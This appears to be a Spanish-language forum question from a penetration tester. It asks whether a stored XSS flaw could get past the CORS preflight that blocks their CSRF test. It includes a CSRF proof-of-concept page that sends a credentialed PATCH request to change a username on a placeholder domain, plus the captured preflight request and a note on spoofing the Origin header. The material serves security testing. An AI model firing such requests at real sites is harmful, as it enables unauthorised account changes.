En una aplicación que estoy probando, hay un defecto XSS almacenado. Ahora, estaba probando para CSRF y construí una página HTML con un javascript que envía la solicitud ajax (XHR). Provocó una solicitud previa al vuelo y luego el navegador dice que la solicitud de origen cruzado está bloqueada porque falta el control-acceso-permiso-origen. Mi pregunta es, si uso el defecto XSS almacenado, entonces la solicitud se enviará desde el mismo dominio y el ataque CSRF sería exitoso, ¿verdad?
Gracias de antemano.
<html>
<!-- CSRF PoC-->
<body>
<p>csrf test</p>
<script>
var http = new XMLHttpRequest();
var params = "{\"username\":\"pentester12\"}";
http.open("PATCH", "https://www.domain.com/data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false", true);
http.setRequestHeader("Accept","application/json, text/javascript, */*; q=0.01");
http.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4");
http.setRequestHeader("Referer","https://www.domain.com/data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false");
http.setRequestHeader("Connection","close");
http.setRequestHeader("Accept-Language","en-US,en;q=0.5");
http.setRequestHeader("Accept-Encoding","gzip, deflate");
http.setRequestHeader("Content-Type","text/plain; charset=UTF-8");
http.setRequestHeader("Origin","www.domain.com");
http.withCredentials= "true";
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.info(http.status);
console.info(http.responseText);
}
}
http.send(params);
</script>
</body>
</html>
Solicitud previa al vuelo:
OPTIONS /data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false HTTP/1.1
Host: www.domain.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: PATCH
Access-Control-Request-Headers: user-agent
Origin: null
Connection: close
Falsifiqué el encabezado de origen al dominio de destino utilizando burp. Pero tengo el mismo error CORS.